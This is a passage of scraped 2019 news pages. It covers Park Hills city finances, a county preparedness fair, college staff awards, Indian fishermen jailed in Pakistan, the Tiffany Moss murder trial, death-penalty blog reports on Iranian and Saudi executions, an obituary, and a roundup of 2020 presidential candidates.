Pennsylvania Bar Association for the Superior Court. She is also endorsed by the Pennsylvania Troopers Association. As a Hampden Township commissioner, Im familiar with Judge Pecks record. Do your own homework, and I have no doubt you will agree with me that we need Judge Christylee Peck on this important appellate bench, the Superior Court. Al Bienstock Hampden Township Love 0 Funny 2 Wow 0 Sad 0 Angry 0 During the Park Hills City Council work session on Tuesday, City Administrator Mark McFarland gave a report on the citys financial health and status. With two new council members, McFarland decided to update and inform the new council of the current financial standings of the city. The numbers mentioned by McFarland reflected the citys financial status halfway through this fiscal year. McFarland began by explaining the debt that the city currently holds. The city has five outstanding loans. The current debts total $4,519,489.67 and include loans for the newest fire truck, two Missouri Transportation Finance Corporation (MTFC) loans, a Missouri Certificate of Participation loan, and a loan on the sludge truck for the sewer department. The loan borrowed for the fire truck was in the amount of $615,445.74. The current balance owed on the loan is $356,818.04. The next payment on this loan will be $91,330.84 and will be made in September. In order to pay the loan for this fire truck, a .25 percent Sales Tax was passed by voters. This sales tax was passed about three and half years ago and includes a 10-year Sunset clause where after 10 years, the tax will be lifted bringing the current 9.1 percent tax rate in the city back down into the 8 percent range. The truck is set to be paid off in September of 2022 leaving just under three more years of the sales tax, which generates $91,000 in annual revenue for the city. McFarland said he would like to see this revenue set back in order to be put toward another fire truck that the fire department is requesting. We've discussed [doing] that, and it's just something to think about, said McFarland. I doubt I'll be [in this position] six years from now but it's a long-term plan that needs to be considered. The MTFC loans are funded by the Missouri Department of Transportation and provide financial support to both public and private entities for projects related to transportation. The first MTFC loan was borrowed for the Fairground Drive Extension Project. The initial borrowed amount of this loan was $844,944. The current balance owed is $596,871.35 to which a payment of $111,141.66 will be made in October of this year. The balance on this loan will be paid in full by October of 2024. The second MTFC loan was borrowed in order to pave East Main Street and the original borrowed amount was $529,668. The current amount owed is $140,809.28. The next payment on this principal will be $26,219.68 and be made in August. This loan will be paid in full by August of 2024. The Missouri Certificate of Participation loan, which is a form of lease financing, was borrowed several years ago in order to consolidate several previous loans which included debts related to the remodeling of the city hall building, construction of the Fairgrounds overpass, and funds used to purchase the sewer departments sludge truck. The initial borrowed amount of this consolidation loan was $4,315,000 and holds a current balance of $3,425,000. The principal amount of $316,287.50 was paid on Feb. 1 while an interest payment of $52,387.50 is due on Oct. 1 although the payment is scheduled for August. The sludge truck, which holds a current balance of $59,428.64 is paid out of the Sewer Fund and does not affect the city's General Fund. The truck will be paid off by April of 2020. All of the other loans, however, do come out of the General Fund. Ultimately, the payments on all loans for this fiscal year are going to come to a total of $627,393.61 of which approximately $500,000 comes out of the General Fund with the remaining portion coming from the Sewer Fund. Cash balances for the city have seen a slight decline over the past four fiscal years due to various projects that have been approved in previous years. This fiscal years cash balance is currently $1,495,313, down slightly from last year's cash balance of $1,931,056. In contrast, the citys deficit spending has decreased with a projected amount of $664,403 - a four-year low. This is an estimated figure as the city is only six months into its fiscal year. The current deficit amount is $464,817.17 but is expected to increase due to additional, yet to be foreseen, expenses associated with the Fairgrounds Project. McFarland said that he is confident that after the Fairgrounds Project is completed, the deficit spending will cease and the general fund will begin to increase allowing reserve funds to be built up. After completion of the project, the city will begin to see a greater cash balance each year allowing for new projects, equipment, and improvements throughout the city. Bobby Radford is a reporter for the Daily Journal. He can be reached at 573-518-3628, or at bradford@dailyjournalonline.com. Love 0 Funny 0 Wow 0 Sad 3 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Iron Countys Fifth Annual Emergency Preparedness Fair will be held from 10 a.m. to 2 p.m. Saturday at the Arcadia Valley Lions Club Fairgrounds on Route M in Ironton. The sponsors are the Arcadia Valley Lions Club and it will be coordinated by the Iron County MU Extension Council and University Extension. Area residents are invited to attend the event, which will provide a wide variety of information on what to do in a local disaster or when an emergency arises. For those who attended the past events, there will also be new exhibits and classes. Classes include University Extension Field Specialist in Housing and Education Rebecca Blocker teaching emergency preparedness for kids; Instructor Sgt. Carl Schwartze from Law Enforcement Training Institute, with Personal and Workplace Safety;" and Steve Vogt of Civil Air Patrol with earthquake preparedness. Registered Nurse Steven Creek from the Iron County Medical Center will provide basic first aid information. He will cover basic home safety items to keep in a kit, bleeding control, choking hazards, and important information when calling 911. The local Community Emergency Response Team (CERT) will have a rescue cribbing demonstration where a temporary wooden structure is used to support cars or other heavy items to safely rescue trapped victims underneath them. Pilot Knob Fire Protection District will present a Jaws of Life demonstration with the car provided by Custom Auto Service in Arcadia. The Missouri State Highway Patrol will have a rollover demonstration, a helicopter and a water rescue boat. Jared Maples from the National Weather Service will demonstrate a tornado machine. The Civil Air Patrol will have their van used in emergencies, and the Air Evac Life Team will have their helicopter on display. Mineral Area Search and Rescue will attend with their dogs. The Eastern Ozarks Amateur Radio Club will demonstrate ham radio operation. Vendors include Shawnee Moon with herbal supplements, Sgt Steeles Military Surplus and Survival Store, Missouri Farm Bureau Insurance, and The Family Center with various emergency products. Also on-hand will be local fire departments, and an ambulance. The Missouri State Park Rangers will have child safety kits. The Iron County emergency command post, generator, and an Iron County Sheriff's Department vehicle will be on display. It will be a family event with Iron County 4-H operating the concession stand. There will be door prizes and a scavenger hunt for the kids. For more information, call the University Extension at 573-546-7515. Matthew Morey is a reporter for the Daily Journal. He can be reached at 573-518-3617, or at mmorey@dailyjournalonline.com. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A pat on the back is something that most people like to have once in a while, especially at work, but being recognized as employee of the year is a special honor reserved only for a select few. Every spring, Mineral Area College takes time to recognize an Employee of the Year in several different areas of the campus. The employees for three areas are nominated by their co-workers rather than administration, making it an even greater honor. The awards are as follows: Non-teaching Faculty Professional Employee of the Year, Faculty Member of the Year (instructor), Leadership Award (awarded by administration), and Classified Staff Employee of the Year. This year, 44 Mineral Area College Employees were nominated for these honors, and the college congratulates all nominees and thanks the staff for taking the time to vote, recognize, and appreciate the work of these staff members. The 2019 Faculty Member of the Year is Dr. Margaret Williams. Williams has been teaching chemistry at MAC since 1995. Colleagues describe Williams as a go to person who is always willing to listen. A former student, Ryan Weeks said that he disliked the class only because it was chemistry, but called Williams extremely smart, very knowledgeable, and able to explain in depth all of the materials in class. Williams is also scheduled to be recognized as a Governors Excellence in Teaching Award winner this coming fall at the Missouri Community College Association Convention in Kansas City. Mark Easter is the 2019 Non-teaching Faculty Professional Employee of the Year at MAC. Easter works as a counselor and advisor on campus and has been an employee of the college since 1998. Easters peers recognized him as someone who works hard to make MAC a better place." The award for Classified Staff Employee of the Year for 2019 was awarded to Shaun Braswell. Braswell is a member of the Information Technology Department and has recently taken on more creative projects, such as videos, and works hard to showcase campus programs and events. Braswells peers said they appreciate his work to connect the college to the community. The administration at Mineral Area College awarded the 2019 Leadership Award to Scott Collinsworth. The Leadership Award is presented to one campus employee who exemplifies the mission of Mineral Area College which is to serve the community, provide students a quality, affordable education, and to offer opportunities for professional and personal development in a safe, professional environment. Collinsworth began his career at MAC in 2000. Administrators said that Collinsworths knowledge of campus Information Technology infrastructure is vast and his problem solving skills are top notch. Matt McFarland is a reporter for the Daily Journal. He can be reached at 573-518-3616, or at mmcfarland@dailyjournalonline.com. Love 10 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Andhra Pradesh: Two fishermen in Andhra Pradesh send SoS to kin from Pakistan jail by Ramesh Babu G April 26,2019 | Source: The New Indian Express Twenty-two fishermen from Srikakulam and Vizianagaram districts, who were captured by Pakistani Coast Guard for venturing into their waters on the night of November 28 last year, want their family members to take up the issue of their release from the Pakistan prison with elected representatives. Take our issue to the notice of our MLA, MP and the Chief Minister, whenever he visits our district, two of the fishermen, who have been lodged in a Karachi prison, have written to their family members in K Matsalesam of Etcherla mandal. The family members were plunged into grief after receiving the letters on Thursday. They, however, felt a little bit relieved learning from the letters that the captured fishermen from the two districts were safe and not being subjected to ill-treatment by the prison authorities. The 22 fishermen were apprehended and their boats - Kajal, Kusum and Annapurna - seized when they were fishing in the Arabian sea near Veraval in Gujarat.Ganagalla Rama Rao, one of the captured fishermen, in his letter to his wife Nukamma, who was seven months pregnant at the time of his capture, said: I am fine here and hope all of you are fine there. Take care of the two children. In the photostat copy of the ration card I carried, my name is not clearly visible. Send photostat copies of the ration card and Aadhaar along with your letter next time. In the letter, Rama Rao asked his in-laws also to take care of his children. He mentioned the names of some villagers and asked them to take up the issue of their release from Pakistan jail with the local MLA, MP and also the Chief Minister. Kesam Yerraiah, another fisherman from the same village, in his letter to his parents, Kesam Lakshmana Rao and Lakshmi, also reiterated the same points and urged them to put pressure on the government to get us released. Stating they were fine, they, however, complained that they were not getting postcards frequently enough to write home. Getting one or two postcards in the prison is very difficult, they lamented. About 22 fishermen from K Matsalesam, D Matsalesam, Totapalem of Etcherla mandal, Dammalaveedhi of Srikakulam from Srikakulam district and Tippavalasa of Vizianagaram were apprehended by Pakistan officials after they accidentally entered into its territorial waters on November 28, last year. Of the 22, five are from Tippavalasa of Vizianagaram district while 15 are from Srikakulam district. The address of the two other fishermen is yet to be found. I went into a state of depression after receiving the letter from my husband. I could not eat since morning, said Nukamma, wife of Rama Rao. On coming to know about the letter, the relatives in the village of the fishermen languishing in the Pakistan jail as well as from the surrounding areas trooped to Nukammas house. Though they said they were fine, we could not trust the contents of the letter. We have written two letters, but they have never reached them, she said. We also sent the documents they wanted along with earlier letters. As political leaders as well as officials have been busy with elections for the last two months, no one bothered about our pain, she rued. Nukamma said that they would stage a protest if the government fails to take action on the issue in the next few days. Kerala: Unlicensed nets in Kochi to be dismantled April 26,2019 | Source: The Hindu The Fisheries Department is taking a count of the Chinese fishing nets in the Kochi backwaters as part of an effort to dismantle unlicensed nets. An official said that the department had stopped issuing licences to fixed nets and devices from the 1980s. Fishing nets operating outside the jurisdiction of the Cochin Port Trust operate without licences and paying compensation for the loss of nets is not within the purview of the department. According to an early estimate, there are around 175 Chinese fishing nets in the Kochi backwaters.They use lights to attract fish during the night and the Regional Accreditation Committees, which issued licences in the past, have been dissolved, said the official. He also said that the department would not be able to act against nets that are operated with licence from the Cochin Port Trust. The Port Trust issues licences on a yearly basis and each year they are renewed. Sources said that the Port Trust had issued licences to 153 nets last year. However, the Kumbalanghi nets do not come within the ports jurisdiction. 2019, The Hindu They have watched their former client sit silent throughout her death-penalty trial this week, doing nothing as she acts as her own lawyer. Now two capital public defenders are trying to take the case away from her if and when the jury decides whether she should be sentenced to death. In a motion filed Thursday, defenders Brad Gardner and Emily Gilbert acknowledged that the right to self-representation is permitted during the guilt-innocence phase of a trial. But it doesnt extend to the sentencing phase of a death-penalty trial, they said. Their motion asks Gwinnett County Superior Court Judge George Hutchinson to reappoint them as Tiffany Mosss lawyers if the jury finds her guilty. That way, they could represent her when the jury considers evidence and hears testimony in the penalty phase of the trial, expected next week. During that proceeding, the jury would decide whether to sentence to life with the possibility of parole, life without parole or death by lethal injection.The jury will have nothing upon which to base a life sentence, not because Mrs. Moss wanted the death penalty, but because she was incapable of representing herself, the motion filed by the defenders said. Societys interest in justice is not served by such a one-sided and arbitrary proceeding. Gardner and Gilbert are members of the State Office of the Capital Defender. They were initially assigned to represent Moss, who is accused of starving to death her daughter Emani in the fall of 2013. But Moss, saying she was putting her fate in Gods hands, decided she wanted to represent herself. Even though Gardner and Gilbert objected, Hutchinson determined that Moss is competent to stand trial and could represent herself. That decision came after Moss and Gilbert filed a motion disclosing that Moss had previously suffered a brain injury. Before the trial convened Thursday, District Attorney Danny Porter made note that Moss did not give an opening statement and did not ask questions to any of the prosecution witnesses. For that reason, Porter said, he thought it was important to put on the record that Moss has been taking notes during testimony and has been attentive when witnesses are on the stand. I think in light of yesterdays events it may be useful to confirm those events, Porter told Hutchinson. Hutchinson agreed with Porters assessment, saying hes seen Moss being actively engaged and attentive to the proceedings. He then asked Moss if she has access to the boxes of discovery material turned over by the state. I do have access, your honor, she said. When Hutchinson asked Moss if there was anything she needed, she replied, No, your honor. Gardner then addressed the court, telling Hutchinson that Moss has not reviewed the states evidence since it was given to her more than a year ago. The Previous Story: Eman Moss was at work when his wife called and said his 10-year-old daughter Emani was dead. Shes gone, Tiffany Moss said. When he got home, Eman Moss said, he found his daughter lying on a blanket on the floor of her bedroom. She was dead, he said. She was cold. Her essence wasnt there. She was gone. Moss, wearing a green prison jump suit, his hands and legs shackled, was the states star witness Thursday in the death-penalty trial against his wife, Tiffany Moss. She is charged with starving Emani to death in the fall of 2013 and then trying to conceal it. In August 2015, Eman Moss, 35, pleaded guilty to his role in Emanis death. He was sentenced to life in prison without the possibility of parole and agreed to testify against his wife. On the stand, Moss, often in grotesque detail that clearly disturbed some members of the jury, described the final days of his daughters life and the harrowing aftermath when he and his wife tried to dispose of Emanis body. Ten-year-old Emani Moss weighed just 32 pounds when her charred body was discovered in a trash can on Nov. 2, 2013, a Gwinnett County detective testified at a probable cause hearing for her father, Eman Moss and stepmother Tiffany Moss. This occurred days after her death and days after her body had been placed in the computer room of the familys apartment, wrapped in blankets.At the time, Tiffany Moss was on probation for a child cruelty charge for severely beating Emani with a belt. She told her husband not to call 911 after her stepdaughters death. She wanted to hide it, Eman Moss testified.Why did you agree to that? District Attorney Danny Porter asked him.I was trying to fix the problem I couldnt fix, he said. I cant explain it. He also said he didnt want to lose the two young children hed had with Tiffany Moss. Even so, Eman Moss said he continued his work routine, showing up at both of his jobs, then returning home and spending time with his dead daughter in the computer room, grieving. Tiffany Moss recommended they bury Emanis body, but Eman Moss said he didnt want to do it. Instead, he went to a Home Depot and bought a galvanized trash can, trash bags, charcoal and lighter fluid. Emanis small body was already stiff from rigor mortis so the couple struggled to fit it into the trash can. They used duct tape to compress the body and Eman Moss said he heard cracking sounds. Several jurors put their hands over their mouths as Eman Moss described the process. One juror covered his face with his hand. Eman Moss said shortly after midnight, he, his wife and their two children drove to a secluded area off Satellite Boulevard. Emanis body was in the back of his Chevy Trailblazer, along with the trash can and the other items hed bought at Home Depot. After he parked his truck and put the trash can on the ground, Eman Moss said, he poured charcoal briquettes into the can, sprinkled lighter fluid inside and lit it on fire with hopes of cremating Emanis body. After five minutes, however, he put the fire out after realizing Emanis body was not going to be reduced to ashes. Moss dropped his family off at home and then went to work the next morning, with Emani inside the trash can in the back of his truck, he said. Finally, when heading home, Eman Moss said, he called a friend and said he had to talk. They met at a QT when Moss disclosed what had happened. Moss drove home and told his wife he was going to call 911, he said. Upon hearing that, Tiffany Moss took the kids and went to her mothers house. According to testimony, police soon arrived and arrested Eman Moss after finding his daughter inside the trash can on the curb of the apartment complex. While her husband testified, Tiffany Moss looked up at her husband without any noticeable expression. Sometimes she jotted down notes after hearing what hed just said. When Porter told Superior Court Judge George Hutchinson he was finished, the judge then asked Tiffany Moss if she had questions for her husband. As she has done now for the first 12 prosecution witnesses, Moss said she had no questions to ask. | Report an error, an omission, a typo; suggest a story or a new angle to an existing story; submit a piece, a comment; recommend a resource; contact the webmaster, contact us: deathpenaltynews@gmail.com Opposed to Capital Punishment? Help us keep this blog up and running! DONATE! "One is absolutely sickened, not by the crimes that the wicked have committed, but by the punishments that the good have inflicted." -- Oscar Wilde Iran Human Rights (IHR); April 24, 2019: A man who was sentenced to death for rape charges, hanged at Ardabil Central prison last Thursday. According to IHR sources, on the morning of Thursday, April 18, a prisoner was hanged at the Iranian northwestern city of Ardabils Central Prison. He was sentenced to death on rape charges. HRANA website identified the man as Vali Zandian, 45. According to the Iran Human Rights statistic department, at least 273 people were executed in Iran in 2018. At least 23 of them were sentenced to death for rape. Man Hanged at Kermanshah Prison Iran Human Rights (IHR); April 24, 2019: A man who was sentenced to death for murder charges, hanged at Kermanshah Central Prison last Thursday. According to IHR sources, a man was hanged at Kermanshah Central Prison (known as Dizel Abad) on Thursday, April 18. He was sentenced to death for murder. Kurdpa website identified the mans name as Jafar Hosseini. He was reportedly from the Iranian city of Harsin. Jafar had spent five years in jail before the execution. According to the Iran Human Rights statistic department, the majority of executions in 2017 and 2018 in Iran was for murder charges. At least 188 prisoners were executed for murder charges in 2018. Only 33% of executions were announced by Iranian authorities in 2018. There is a lack of a classification of murder by degree in Iran which results in issuing a death sentence for any kind of murder regardless of intensity and intent. | Report an error, an omission, a typo; suggest a story or a new angle to an existing story; submit a piece, a comment; recommend a resource; contact the webmaster, contact us: deathpenaltynews@gmail.com Opposed to Capital Punishment? Help us keep this blog up and running! DONATE! "One is absolutely sickened, not by the crimes that the wicked have committed, but by the punishments that the good have inflicted." -- Oscar Wilde Iran Human Rights, Staff, April 24-25, 2019 LINCOLN, Neb. (WOWT) -- The perennial battle over the fate of the death penalty in Nebraska hit the wall in Lincoln Thursday as Nebraska lawmakers failed to advance the latest attempt to abolish capital punishment. The effort ran out of steam after hours of debate. It's only been about three years since Nebraska voters reinstated the death penalty. Despite impassioned pleas senators who wanted to outlaw it punishment fell eight votes short of what was need to advance the measure in a first round vote. The measure stalled with 17 lawmakers voting for it and 25 against. In 2016, Nebraskans voted to reinstate the death penalty. That was a big point of discussion Thursday. Some senators said you shouldn't go against the will of the people. Others believe you should vote according to your own morals. Just like in 2015 the debate on the floor became emotional and often got into the challenge of who's really pro-life? Sen. Mike Moser said, "Unborn babies are innocent. He said, Heinous killers are not innocent." Sen. Megan Hunt said, "All of your Bibles say thou shall not kill. It doesn't say thou shall not kill innocent life. That's just something ya'll telling yourselves." Sen. Wendy DeBoer said, "Respecting the 2016 is very important. But my faith and what is right is more important to me than anything else. The death penalty just isn't right." It was Sen Ernie Chambers, of Omaha, the longtime opponent of capital punishment, who introduced the bill as he's done for more than four decades. Seven senators did not vote Thursday. | Report an error, an omission, a typo; suggest a story or a new angle to an existing story; submit a piece, a comment; recommend a resource; contact the webmaster, contact us: deathpenaltynews@gmail.com Opposed to Capital Punishment? Help us keep this blog up and running! DONATE! "One is absolutely sickened, not by the crimes that the wicked have committed, but by the punishments that the good have inflicted." -- Oscar Wilde The Foreign Secretary is hosting his Saudi Arabian counterpart, Adel al-Jubeir, in London today, together with representatives from the UAE and United States, with the aim of brokering a peace deal to end the ongoing war in Yemen. Saudi Arabias recent mass execution of 37 people must not go unchallenged at the meeting. RELATED | Saudi Arabia beheaded a pro-democracy protester set to attend college in U.S. Three of those killed were children when their alleged crimes took place: executing them was a flagrant violation of international law. Responding to cross-party calls in the Commons for tough action against the Saudis, Foreign Office Minister Sir Alan Duncan described the executions as a deeply backward step deplorable and totally unacceptable but stopped short of saying what the Government will do to prevent the regime killing more young men arrested as teenagers for exercising their right to freedom of expression. RELATED | Saudi Arabias callous disregard for fundamental human rights of its citizens Condemnation of the executions has been almost universal, in both houses of Parliament. Lord Collins asked: Will the Government work with our allies to impose some form of sanctions so that the Saudis listen to our concerns over this flagrant breach of international law? Reprieve Deputy Director Harriet McCulloch said: Absent meaningful action, or the threat of it, the Governments expressions of distaste are just that - empty words. For Jeremy Hunt to look his Saudi counterpart in the eye, without making it clear that there will be consequences if the Kingdom continues to violate international law, would be abject cowardice, and undermine British policy to oppose the death penalty in all circumstances. Saudi Arabia: 37 put to death in shocking execution spree The execution of 37 people convicted on terrorism charges marks an alarming escalation in Saudi Arabias use of the death penalty, said Amnesty International today. Among those put to death was a young man who was convicted of a crime that took place while he was under the age of 18. Todays mass execution is a chilling demonstration of the Saudi Arabian authorities callous disregard for human life. It is also yet another gruesome indication of how the death penalty is being used as a political tool to crush dissent from within the countrys Shia minority, said Lynn Maalouf Middle East Research Director at Amnesty International. The majority of those executed were Shia men who were convicted after sham trials that violated international fair trial standards which relied on confessions extracted through torture. They include 11 men who were convicted of spying for Iran and sentenced to death after a grossly unfair trial. At least 14 others executed were convicted of violent offences related to their participation in anti-government demonstrations in Saudi Arabias Shia majority Eastern Province between 2011 and 2012. The 14 men were subjected to prolonged pre-trial detention and told the court that they were tortured or otherwise ill-treated during their interrogation in order to have confessions extracted from them. Also among those executed is Abdulkareem al-Hawaj a young Shia man who was arrested at the age of 16 and convicted of offences related to his involvement in anti-government protests. Under international law, the use of the death penalty against people who were under the age of 18 at the time of the crime is strictly prohibited. Amnesty International understands that the families were not informed about the executions in advance and were shocked to learn of the news. The use of the death penalty is always appalling but it is even more shocking when it is applied after unfair trials or against people who were under 18 at the time of the crime, in flagrant violation of international law, said Lynn Maalouf. All of those executed today were Saudi Arabian nationals. So far this year, at least 104 people have been executed by Saudi Arabia at least 44 of them are foreign nationals, the majority of whom were convicted of drug-related crimes. In 2018, Saudi Arabia carried out 149 executions during the whole year. Instead of stepping up executions at an alarming rate in the name of countering terrorism, Saudi Arabias must halt this bloody execution spree immediately and establish an official moratorium on executions as a first step towards abolishing the death penalty completely, said Lynn Maalouf. Ali al-Nimr, Dawood al-Marhoon and Abdullah al-Zaher, from the Shia minority and who were below the age of 18 at the time of the crime, remain on death row and at imminent risk of execution. Amnesty International opposes the death penalty in all cases, regardless of who is accused, the crime, their guilt or innocence or the method of execution. Saudi Arabia executes 37 people in a single day including three juveniles Saudi Arabias official press agency has announced that 37 people were killed today, 23 April 2019, in a mass execution. Most, if not all, were convicted in the Specialised Criminal Court (SCC), the Kingdoms secretive and widely condemned anti-terrorism tribunal. At least three of those executed were minors at the time of their alleged offences. This is a flagrant violation of international law, which prohibits sentencing juveniles to death. Abdulkarim al-Hawaj was charged with participating in demonstrations, incitement via social media and preparing banners with anti-state slogans. He was beaten, tortured with electricity and chained with his hands above his head until he confessed to terrorism offences. Mujtaba al-Sweikat was arrested at King Fahd International Airport, on his way to begin his studies at Western Michigan University. He was severely beaten all over his body, including the soles of his feet, and convicted on the basis of a confession extracted through torture. Salman Qureish was arrested shortly after his 18th birthday, accused of crimes that took place when he was a juvenile. He was denied basic legal rights and sentenced to death in a mass trial, despite repeated interventions on his behalf by the United Nations. Many of the others executed were also tortured into signing confessions. Munir al-Adam was beaten so badly he lost the hearing in one ear. Abbas al-Hassan was beaten while blindfolded, forced to stand in stress positions for hours and deprived of sleep. The Kingdom has executed more than 100 people in the first four months of 2019, and is on track to execute more than 300 this year. As Reprieve Director Maya Foa said: This is another egregious display of brutality by Crown Prince Mohammed Bin Salman. That the Saudi regime believes it has impunity to carry out such patently illegal executions, without notice, should shock its international partners into action. Halt executions in Saudi Arabia Sign now We need to take action now to prevent other juveniles from meeting the same fate. Call on Theresa May to condemn these executions and call for the release of the three remaining young people convicted for crimes as children Ali, Dawood and Abdullah. | Report an error, an omission, a typo; suggest a story or a new angle to an existing story; submit a piece, a comment; recommend a resource; contact the webmaster, contact us: deathpenaltynews@gmail.com Opposed to Capital Punishment? Help us keep this blog up and running! DONATE! "One is absolutely sickened, not by the crimes that the wicked have committed, but by the punishments that the good have inflicted." -- Oscar Wilde Reprieve, Staff, April 25, 2019 Amnesty International , Staff, April 23, 2019: Reprieve, Staff, April 203, 2019 FOCUS ON DEFENSE CAPABILITY DEVELOPMENT IN SOUTHEAST ASIA AND OCEANIA September 21, 1928 February 5, 2019 Stanley Sayles of Albany passed away on February 5, 2019, from complications following heart surgery. He was 90 years young. Born in Berkeley, California, to parents Orien and Zola Sayles, he was the first of their six children. Moving to Oregon as a child, Stan grew up in the Salem area, graduating from Salem High School. In his youth he learned a strong work ethic, helping to support his family by working the land. He also worked as a hod carrier for bricklayers, and worked as a logger. Along the way he developed a keen interest in cars and engines. He joined the Navy during the Korean War, where he kept the diesel engines running on the hospital ship USS Haven and was a ferry transport driver for officers and other Navy personnel. Upon his discharge from the Navy, he married his sweetheart, Beth on December 28, 1952. They moved to Klamath Falls, where Stan attended and graduated from Oregon Technical Institute with an automotive electrician degree. Subsequent jobs took them to Roseburg, and then Eugene, where he and Beth raised their three daughters. In the mid-1970s, Stan and Beth moved to Albany after Stan became co-owner of Valley Auto Electric. He loved providing excellent service to his customers and delighted in exceeding their expectations. Stan always loved to dance and he and Beth were always out there hitting the dance floor at social events throughout all his years. He was a proud and committed member of the American Legion Post 10 in Albany for over 46 years where he had many good friends, and once served as Commander. He also served in the Color Guard and many other positions through the years. In 2015, he was thrilled to have the opportunity to be honored by traveling to Washington, D.C., with the South Willamette Valley Honor Flight. Stan enjoyed trap shooting and found many good friends at the Albany Trap Shooting Club, where he was a member. He always loved traveling to Eastern Oregon through the years for hunting trips and visits with close family and friends. Stan is survived by his wife, Beth of Albany; daughters, Tammy Everall of Springfield and Cassie Hiebert (Jim) of Aloha; son-in-law, David McNeese of Springfield; sisters, Pat Sunderland of Idaho and Frances Dryden of Woodburn; brother, Gene Sayles of Salem; grandchildren, Eric Everall of Coburg, Tyler Everall (Crislyn) of Springfield and Cody McNeese of Portland; many beloved nieces, nephews, and good friends. He was preceded in death by his parents; daughter, Laurie McNeese; sister, Denise Trietsch; brother, Gerald Sayles; and son-in-law, Joe Everall. A celebration of life will be held at 1 p.m. on May 18 at the Albany American Legion. Interment was at Willamette National Cemetery on April 26. Donations may be made in his memory to the American Legion Post 10, 1215 Pacific Blvd. SE, Albany, OR 97321. ANNECORDON/iStock(WASHINGTON) -- Former Vice President Joe Biden joined the 2020 presidential field Thursday, immediately becoming its front-runner on the back of near universal name recognition and polls that regularly show him capturing around 30 percent of respondent's support. While many of Biden's fellow Democrats openly welcomed him to the race, behind the scenes, several -- including Sen. Cory Booker, former Housing and Urban Development Secretary Julian Castro, Sen. Kamala Harris and former Rep. Beto O'Rourke -- began to fundraise off of the news, showcasing an awareness that the path to the nomination just became all the more difficult. Here's the weekly candidate roundup: April 19-25, 2019 Michael Bennet (D) The Colorado senator tweeted last Friday that he "underwent a successful surgery" to treat his prostate cancer and "requires no further treatment." Bennet previously said that he had been ready to announce a presidential run until he received the cancer diagnosis, but would still enter the race if he was ultimately declared cancer free. Joe Biden (D) The former vice president announced the launch of his presidential campaign Thursday after months of build up, releasing a video in which he said that "everything that makes America, America, is at stake" in the upcoming presidential election. Biden's first television interview will take place on ABC's The View on Friday and then he will hit the road, making trips to Pittsburgh Monday, Iowa and South Carolina later next week, then Nevada, California and New Hampshire before mid-March. He and his wife Dr. Jill Biden will also sit down with Robin Roberts, co-anchor of ABC's Good Morning America, ahead of his Pittsburgh event. The interview will air on GMA Tuesday. Biden's campaign was immediately endorsed by Sen. Bob Casey, D-Pa., and all three members of his home state of Delaware's congressional delegation: Sens. Tom Carper and Chris Coons, and Rep. Lisa Blunt Rochester. Cory Booker (D) Booker became the latest Democratic presidential candidate to release his tax returns Wednesday evening, posting 10 years' worth to his campaign website. Though the New Jersey senator made only $152,715 in 2018 -- on which he paid $29,446 in taxes and donated $24,000 to charity -- he revealed himself to be relatively wealthy from years of accumulated speaking fees and royalties nearing $3 million total. The returns also showed fairly substantial charitable giving, with over $20,000 in contributions every year since 2012, including two years that topped $82,000 and $240,000, respectively. At Wednesday's "She the People" forum in Texas, Booker again pledged to select a female running mate should he be the Democratic presidential nominee. Pete Buttigieg (D) Buttigieg earned his first endorsement from a member of Congress this week, with Rep. Don Beyer of Virginia releasing a statement saying that he was backing the South Bend, Indiana mayor and comparing him to former President Barack Obama. "I endorsed Barack Obama early, having been moved by both his intelligence and his political capability. I am similarly inspired by Mayor Pete," Beyer said. "With him, I feel the promise of a new generation, and I see a way out of the darkness." Julian Castro (D) In an interview with The New Yorker, Castro outlined his position on immigration, which has been the centerpiece of his campaign, explaining that he doesn't believe those attempting to cross the southern border "are a national security threat" and that he found it "beautiful" "that people still see this country as a place of opportunity and safety." Speaking with BuzzFeed News Tuesday, Castro pushed back against the idea that Congressional impeachment proceedings would backfire on Democrats, saying that it was possible for the party to "walk and chew gum at the same time" -- holding Trump accountable while pitching their strengths ahead of the 2020 election. Castro was the center of a humorous moment at Wednesday's "She the People" forum in Texas, when he revealed that the event's program featured a photo of his twin brother Rep. Joaquin Castro and joked that his brother "would say that's a good thing because he's better looking than I am." John Delaney (D) After President Donald Trump met with Twitter CEO Jack Dorsey Tuesday and reports emerged that the president raised concerns about a dip in the number of his followers, Delaney called on Twitter users to unfollow Trump's account, arguing that he "cares more about his Twitter followers than the American people." In a tweet, the former Maryland congressman said that Trump's "continued dishonesty and weaponization of social media has been divisive" and that the reduction to his follower count would "hit him where it actually hurts him... his ego." Tulsi Gabbard (D) The Hawaii congresswoman shared her belief that "it's time for the country to focus on the issues that matter most to Americans" in lieu of the investigation into the Trump campaign's contacts with Russia after the Mueller report revealed "no collusion." "The conclusion that came from that Mueller report was that no collusion took place," Gabbard said on Fox News Sunday. "Now is the time for us to come together as a country to put the issues and the interests and the concerns that the American people have at the forefront, to take action to bring about real solutions for them." Kirsten Gillibrand (D) In an appearance on The View Wednesday, Gillibrand was supportive of House Speaker Nancy Pelosi and House Democrats' efforts to subpoena key figures named in special counsel Robert Mueller's report, despite Trump's insistence that they should not have to testify before Congress. "The Mueller report was very damning," Gillibrand said, adding, "If President Trump takes on Nancy Pelosi over whether he's going to respond to her subpoenas, I will put my money on Nancy Pelosi every time." During the same appearance on The View, a day ahead of Biden's official campaign announcement, she said he's "going to have to directly answer to voters" on allegations of inappropriate touching. Kamala Harris (D) Harris received some criticism that she was too cautious during a CNN town hall on Monday, during which she repeatedly called for "conversations" and "debate" about a number of issues, including felon voting rights, the voting age, slavery reparations and student debt forgiveness. The California senator did signal her support for impeachment during the event, arguing that the Mueller report presented evidence that Trump engaged in obstruction of justice, but said she was a "realist" about whether the efforts would ultimately be successful, given Senate Republicans' support for the president. John Hickenlooper (D) The former Colorado governor joined in calls for Mueller to testify before Congress in a radio interview, and, on evidence that Trump and his administration misled the public about contact with Russia, said that Americans should "expect more from our commander-in-chief." Larry Hogan (R) Hogan, the governor of Maryland, continues to say that he is considering a Republican primary challenge of Trump, explaining at a New Hampshire Institute of Politics 